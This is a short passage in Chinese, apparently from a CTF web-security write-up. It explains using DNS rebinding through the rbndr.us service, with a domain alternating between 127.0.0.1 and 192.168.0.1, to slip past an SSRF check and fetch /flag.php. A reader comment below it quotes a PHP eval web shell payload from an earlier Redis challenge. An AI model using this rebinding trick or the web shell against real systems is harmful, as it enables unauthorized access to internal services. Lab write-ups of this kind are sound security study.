总结来说:由于我们无法在程序运行时以毫秒为单位手动更改DNS记录,所以要想实现DNS重绑定攻击,就必须配置一个自定义的恶意DNS服务器,并设定好指定域名的解析IP,再将TTL设置为0,使其解析时在非法内网IP与合法其他IP间反复横跳。
用下面这个网站可以进行DNS重绑定
rbndr.us dns rebinding service (cmpxchg8b.com)
绑定的两个ip中保证有一个是127.0.0.1即可,我这里和192.168.0.1绑定了,结果为
7f000001.c0a80001.rbndr.us
因此我们的url=7f000001.c0a80001.rbndr.us/flag.php
,注意这个域名相当于绑定了两个ip地址(同一时刻只对应一个),由于无法确定进行dns校验时的ip是否为127.0.0.1,可能一次请求不成功,多刷新几次即可。
您好,反馈一个文章错误,在Redis协议这一题里边,然后给出PHPShell中,<?php eval(_POST[“shell”])?>下横线前面少了一个”$”
orz